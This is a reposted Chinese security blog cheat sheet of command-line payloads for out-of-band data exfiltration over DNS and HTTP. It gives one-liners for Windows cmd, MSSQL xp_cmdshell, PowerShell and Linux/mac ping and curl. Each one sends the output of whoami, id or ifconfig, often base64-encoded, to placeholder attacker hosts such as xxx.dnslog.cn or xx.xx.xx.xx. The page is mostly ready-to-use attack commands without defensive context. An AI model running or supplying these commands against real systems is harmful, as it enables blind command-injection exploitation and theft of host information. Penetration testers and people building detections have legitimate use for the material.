各种环境DNS外带回显命令

admin 2022年10月19日16:05:04评论1,096 views1字数 1172阅读3分54秒阅读模式

1. windows 命令行:

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.dnslog.cn && nslookup !FINAL!"

2. mssql:

exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell  "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.dnslog.cn %26%26 ping !FINAL!""";
exec master..xp_cmdshell  "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

3. windows 通过start外带

for /F %X in ('whoami') do start http://xx.xx.xx.xx:80/%X
for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xx.dnslog.cn

4. windows powershell

for /F %X in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%X'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xx.xx.xx.xx/'+$a);

5. linux/mac 通过ping

ping -c 1 $(whoami).xxx.dnslog.cn

6. linux/mac 通过ping+base64

ping -c 1 $(whoami|base64).xxx.dnslog.cn

7. linux/mac 通过curl

curl http://xx.xx.xx.xx/$(whoami)
curl http://$(whoami).xx.dnslog.cn

8. linux/mac 通过curl+base64

curl http://xx.xx.xx.xx/$(id|base64)
curl http://$(id|base64).xx.dnslog.cn
curl http://xx.xx.xx.xx/$(ifconfig|base64|tr 'n' '-')

原文始发于微信公众号(白帽兔):各种环境DNS外带回显命令

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月19日16:05:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   各种环境DNS外带回显命令http://cn-sec.com/archives/1358515.html

发表评论

匿名网友 填写信息